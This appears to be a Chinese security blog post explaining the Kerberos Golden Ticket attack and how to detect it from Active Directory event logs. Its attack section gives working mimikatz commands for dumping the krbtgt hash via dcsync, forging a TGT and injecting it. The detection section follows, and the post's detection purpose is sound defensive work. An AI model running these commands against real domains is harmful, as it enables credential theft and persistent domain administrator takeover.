01、简介
黄金票据(Golden Ticket)是基于Kerberos认证的一种攻击方式,常用来做域控权限维持。当攻击者获取到域内krbtgt帐户的SID和HASH,就可以随意伪造域内管理员用户,再加上域帐户krbtgt的密码基本不会更改,即使域管修改了密码,攻击者依然可以通过黄金票据获取域管理员权限。
在域环境中,黄金票据无疑是一种特别危险的攻击,是域控权限失陷的特征,基于AD Event日志如何检测黄金票据攻击,我们来研究一下。
02、黄金票据攻击实例
黄金票据(Golden Ticket)的原理就是用krbtgt的hash来伪造TGT,只要拥有了高权限的TGT,就可以发送给TGS换取任意服务的ST。
(1)利用mimikatz在域控服务器导出krbtgt的SID值和哈希值。
lsadump::dcsync /domain:evil.com /user:krbtgt
(2)在域用户的服务器上使用mimikatz伪造TGT。
kerberos::golden /admin:ceshi /domain:evil.com /sid:S-1-5-21-3269078399-3211204512-295171886 /krbtgt:51a721beadd396571257fd2d825be455 /ticket:golden.kiribi
(3)清空域用户服务器本地票据缓存,导入伪造的黄金票据。
kerberos::purge #清空本地票据缓存 kerberos::ptt golden.kiribi #导入伪造的黄金票据 kerberos::list #重新查看本地保存的票据
(4)查看域控服务器的目录
03、黄金票据攻击检测
从kerberos认证流程来看,正常的用户认证登录生成对应的日志是:4768(请求TGT,服务名称krbtgt) -->4769(请求TGS,服务名称WIN-DC01$)--> 4624(登录帐户,登录进程Kerberos),但是由于黄金票据攻击已经离线生成了TGT,跳过了请求TGT这一步,日志里只会有 4769(请求TGS)-->4624(登录帐户),我们重点来看一下这两条日志里对应的具体的值。
当注入黄金票据访问服务,会出现两次4769的事件,其中第一个4769事件请求的服务名称是WIN-DC01$,第二个4769事件请求的krbtgt服务,伴随着还有登录用户和来源ip地址。
4624事件:记录了黄金票据伪造的帐户名ceshi在192.168.28.20通过kerberos进行网络登录,这里的帐户与SID并不一致,500代表了域管帐户,SID以500结尾可作为特征,通过帐户与SID的对应关系,可以找到伪造的用户,但是如果用户伪造的是administrator用户就可以绕过检测,所以需要把登录IP地址作为判定条件,收集域管理员登录IP地址后,识别出异常登录IP。
黄金票据攻击检测规则:监测4624中LogonType为3的Kerberos登录且SID以500结尾的日志事件,关联到4769的请求事件,并注意观察ServiceName的值。
实时告警效果如下:
还没有评论,来说两句吧...